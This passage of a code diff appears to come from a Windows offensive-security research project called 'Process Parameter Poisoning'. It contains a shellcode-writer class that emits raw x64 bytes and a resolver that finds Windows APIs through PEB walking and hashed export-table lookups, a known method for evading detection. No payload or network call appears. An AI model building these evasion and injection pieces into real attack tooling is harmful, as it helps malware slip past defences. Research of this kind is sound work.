AppendShellCode("\x48\x83\xC4", 3); // add rsp, X
|
||||
m_sc_bytes.push_back(m_total_consumed_stack_bytes);
|
||||
}
|
||||
AppendShellCode("\x49\x89\xC7", 3); // mov r15, rax
|
||||
SetRAX(m_total_consumed_stack_bytes);
|
||||
AppendShellCode("\x48\x01\xC4", 3); // add rsp, rax
|
||||
AppendShellCode("\x4C\x89\xF8", 3); // mov rax, r15
|
||||
m_total_consumed_stack_bytes = 0;
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
/*
|
||||
* File: ShellCodeUserInput.h
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
*/
|
||||
|
||||
|
||||
#ifndef SHELLCODE_WRITER_H
|
||||
#define SHELLCODE_WRITER_H
|
||||
#include <Windows.h>
|
||||
#include <cinttypes>
|
||||
#include <vector>
|
||||
|
||||
|
||||
class ShellCodeWriter {
|
||||
public:
|
||||
ShellCodeWriter();
|
||||
std::vector<uint8_t> GetShellCodeBytes();
|
||||
|
||||
|
||||
void CallMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
|
||||
void CallLoadLibraryA(LPCSTR p);
|
||||
void CallTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus);
|
||||
void CallSuspendThread(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
|
||||
|
||||
void LoadAndCallShellCode(const std::vector<uint8_t>& shellcode);
|
||||
|
||||
void AppendShellCode(const char* shellcode, size_t size);
|
||||
private:
|
||||
uint32_t m_total_consumed_stack_bytes;
|
||||
std::vector<uint8_t> m_sc_bytes;
|
||||
|
||||
|
||||
void SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value);
|
||||
void SetRAX(uint64_t value);
|
||||
|
||||
void PushValue(uint64_t value);
|
||||
void PushBuffer(const void* buf, size_t size);
|
||||
|
||||
void SetArgRegister(int arg_index, uint64_t value);
|
||||
void SetArgRegisterStackRelative(int arg_index, int stack_relative_offset);
|
||||
void Call(uint64_t pfn);
|
||||
|
||||
void FreeStack();
|
||||
|
||||
};
|
||||
|
||||
#endif // SHELLCODE_WRITER_H
|
||||
@@ -0,0 +1,150 @@
|
||||
/**
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
* Project: Process Parameter Poisoning
|
||||
* Notes: Built with ❤️ and undefined behavior.
|
||||
*/
|
||||
|
||||
#ifdef _WIN64
|
||||
#define PPEB_CURRENT ((PPEB)__readgsqword(0x60))
|
||||
#else
|
||||
#define PPEB_CURRENT ((PPEB)__readfsdword(0x30))
|
||||
#endif
|
||||
|
||||
#define INITIAL_HASH 3731
|
||||
#define INITIAL_SEED 5
|
||||
|
||||
#include "WinApiResolver.h"
|
||||
#include <iostream>
|
||||
|
||||
WinApiResolver::WinApiResolver() {}
|
||||
|
||||
WinApiResolver* WinApiResolver::m_instance = nullptr;
|
||||
|
||||
WinApiResolver& WinApiResolver::GetInstance()
|
||||
{
|
||||
if (m_instance)
|
||||
return *m_instance;
|
||||
m_instance = new WinApiResolver();
|
||||
m_instance->ResolveAPIs();
|
||||
return *m_instance;
|
||||
}
|
||||
|
||||
DWORD HashStringDjb2A(const char* String) {
|
||||
|
||||
ULONG Hash = INITIAL_HASH;
|
||||
INT c;
|
||||
while (c = tolower(*String++))
|
||||
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
|
||||
return Hash;
|
||||
}
|
||||
|
||||
DWORD HashStringDjb2W(const wchar_t* String) {
|
||||
|
||||
ULONG Hash = INITIAL_HASH;
|
||||
INT c;
|
||||
while (c = towlower(*String++))
|
||||
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
|
||||
return Hash;
|
||||
}
|
||||
|
||||
|
||||
// Finds the base address of a module via the PEB list (Hashed version)
|
||||
HMODULE FindModuleBaseH(DWORD moduleName)
|
||||
{
|
||||
PPEB peb = PPEB_CURRENT;
|
||||
PLIST_ENTRY head = &peb->Ldr->InLoadOrderModuleList;
|
||||
PLIST_ENTRY curr = head->Flink;
|
||||
|
||||
while (curr != head)
|
||||
{
|
||||
PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
|
||||
|
||||
if (HashStringDjb2W(entry->BaseDllName.Buffer) == moduleName)
|
||||
{
|
||||
return (HMODULE)entry->DllBase;
|
||||
}
|
||||
|
||||
curr = curr->Flink;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Own GetProcAddress with API-Hashing: Parsing the export table
|
||||
FARPROC MyGetProcAddressH(HMODULE hModule, DWORD hashedApiName)
|
||||
{
|
||||
BYTE* base = (BYTE*)hModule;
|
||||
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
|
||||
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
|
||||
|
||||
IMAGE_DATA_DIRECTORY exportDirData = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (exportDirData.VirtualAddress == 0)
|
||||
return NULL;
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(base + exportDirData.VirtualAddress);
|
||||
|
||||
DWORD* nameTable = (DWORD*)(base + exportDir->AddressOfNames);
|
||||
WORD* ordTable = (WORD*)(base + exportDir->AddressOfNameOrdinals);
|
||||
DWORD* funcTable = (DWORD*)(base + exportDir->AddressOfFunctions);
|
||||
|
||||
|
||||
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
|
||||
{
|
||||
const char* name = (const char*)(base + nameTable[i]);
|
||||
if (HashStringDjb2A(name) == hashedApiName)
|
||||
{
|
||||
WORD ordinal = ordTable[i];
|
||||
DWORD rva = funcTable[ordinal];
|
||||
return (FARPROC)(base + rva);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#define HASH_NTDLL_DLL 0x16B84F3B
|
||||
|
||||
#define HASH_NTQUERYINFORMATIONPROCESS 0xee588630
|
||||
#define HASH_NTREADVIRTUALMEMORYEX 0x67801fee
|
||||
#define HASH_NTPROTECTVIRTUALMEMORY 0xaf858f56
|
||||
#define HASH_NTSETCONTEXTTHREAD 0xd0d4165e
|
||||
#define HASH_NTGETCONTEXTTHREAD 0x3e564fd2
|
||||
#define HASH_NTTERMINATEPROCESS 0x200d349d
|
||||
#define HASH_NTSUSPENDTHREAD 0x41e4958f
|
||||
#define HASH_NTRESUMETHREAD 0x9b31cb9e
|
||||
#define HASH_LDRCONTROLFLOWGUARDENFORCED 0xb6eef67
|
||||
|
||||
|
||||
#define HASH_KERNEL32_DLL 0xddb5ad03
|
||||
|
||||
#define HASH_LOADLIBRARYA 0x73daf7e9
|
||||
#define HASH_VIRTUALALLOC 0xc64f8a65
|
||||
#define HASH_VIRTUALPROTECT 0x293d57db
|
||||
|
||||
|
||||
#define HASH_USER32_DLL 0xcae39701
|
||||
|
||||
#define HASH_MESSAGEBOXA 0x63676de2
|
||||
|
||||
|
||||
#define RESOLVE_API(X, MH, PH) do { X = (X ## _t)(MyGetProcAddressH(FindModuleBaseH(MH), PH)); if(!X) { printf("[-] Failed to resolve %x\n", PH); exit(-1); } } while(false)
|
||||
|
||||
void WinApiResolver::ResolveAPIs()
|
||||
{
|
||||
// NTDLL.DLL
|
||||
RESOLVE_API(NtQueryInformationProcess, HASH_NTDLL_DLL, HASH_NTQUERYINFORMATIONPROCESS);
|
||||
RESOLVE_API(NtProtectVirtualMemory, HASH_NTDLL_DLL, HASH_NTPROTECTVIRTUALMEMORY);
|
||||
RESOLVE_API(NtReadVirtualMemoryEx, HASH_NTDLL_DLL, HASH_NTREADVIRTUALMEMORYEX);
|
||||
RESOLVE_API(NtSetContextThread, HASH_NTDLL_DLL, HASH_NTSETCONTEXTTHREAD);
|
||||
RESOLVE_API(NtGetContextThread, HASH_NTDLL_DLL, HASH_NTGETCONTEXTTHREAD);
|
||||
RESOLVE_API(NtTerminateProcess, HASH_NTDLL_DLL, HASH_NTTERMINATEPROCESS);
|
||||
RESOLVE_API(NtSuspendThread, HASH_NTDLL_DLL, HASH_NTSUSPENDTHREAD);
|
||||
RESOLVE_API(LdrControlFlowGuardEnforced, HASH_NTDLL_DLL, HASH_LDRCONTROLFLOWGUARDENFORCED);
|
||||
|
||||
// KERNEL32.DLL
|
||||
RESOLVE_API(LoadLibraryA, HASH_KERNEL32_DLL, HASH_LOADLIBRARYA);
|
||||
RESOLVE_API(VirtualAlloc, HASH_KERNEL32_DLL, HASH_VIRTUALALLOC);
|
||||
RESOLVE_API(VirtualProtect, HASH_KERNEL32_DLL, HASH_VIRTUALPROTECT);
|
||||
|
||||
LoadLibrary(L"user32.dll");
|
||||
// USER32.DLL
|
||||
RESOLVE_API(MessageBoxA, HASH_USER32_DLL, HASH_MESSAGEBOXA);
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
/*
|
||||
* File: WinApiResolver.h
|
||||
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||
*/
|
||||
|
||||
#ifndef WINAPIRESOLVER_H
|
||||
#define WINAPIRESOLVER_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include "imports.h"
|
||||
|
||||
|
||||
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
|
||||
HANDLE,
|
||||
PROCESSINFOCLASS,
|
||||
PVOID,
|
||||
ULONG,
|
||||
PULONG);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtProtectVirtualMemory_t)(
|
||||
HANDLE,
|
||||
PVOID,
|
||||
PSIZE_T,
|
||||
ULONG,
|
||||
PULONG);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtReadVirtualMemoryEx_t)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T NumberOfBytesToRead,
|
||||
PSIZE_T NumberOfBytesRead,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtSetContextThread_t)(
|
||||
HANDLE ThreadHandle,
|
||||
PCONTEXT ThreadContext
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtGetContextThread_t)(
|
||||
HANDLE ThreadHandle,
|
||||
PCONTEXT ThreadContext
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtTerminateProcess_t)(
|
||||
_In_opt_ HANDLE ProcessHandle,
|
||||
_In_ NTSTATUS ExitStatus
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtSuspendThread_t)(
|
||||
_In_ HANDLE ThreadHandle,
|
||||
_Out_opt_ PULONG PreviousSuspendCount
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* LdrControlFlowGuardEnforced_t)(
|
||||
VOID
|
||||
);
|
||||
|
||||
typedef HMODULE(*LoadLibraryA_t)(
|
||||
LPCSTR lpLibFileName
|
||||
);
|
||||
|
||||
typedef LPVOID(*VirtualAlloc_t)(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
|
||||
typedef BOOL(*VirtualProtect_t)(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flNewProtect,
|
||||
PDWORD lpflOldProtect
|
||||
);
|
||||
|
||||
typedef int (*MessageBoxA_t)(
|
||||
HWND hWnd,
|
||||
LPCSTR lpText,
|
||||
LPCSTR lpCaption,
|
||||
UINT uType
|
||||
);
|
||||
|
||||
class WinApiResolver {
|
||||
|
||||
public:
|
||||
static WinApiResolver& GetInstance();
|
||||
|
||||
// NTDLL.DLL
|
||||
NtQueryInformationProcess_t NtQueryInformationProcess;
|
||||
NtProtectVirtualMemory_t NtProtectVirtualMemory;
|
||||
NtReadVirtualMemoryEx_t NtReadVirtualMemoryEx;
|
||||
NtSetContextThread_t NtSetContextThread;
|
||||
NtGetContextThread_t NtGetContextThread;
|
||||
NtTerminateProcess_t NtTerminateProcess;
|
||||
NtSuspendThread_t NtSuspendThread;
|
||||
LdrControlFlowGuardEnforced_t LdrControlFlowGuardEnforced;
|
||||
|
||||
// KERNEL32.DLL
|
||||
LoadLibraryA_t LoadLibraryA;
|
||||
VirtualAlloc_t VirtualAlloc;
|
||||
VirtualProtect_t VirtualProtect;
|
||||
|
||||
// USER32.DLL
|
||||
MessageBoxA_t MessageBoxA;
|
||||
private:
|
||||
static WinApiResolver* m_instance;
|
||||
|
||||
WinApiResolver();
|
||||
|
||||
void ResolveAPIs();
|
||||
};
|
||||
|
||||
#endif // WINAPIRESOLVER_H
|
||||
+15702
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user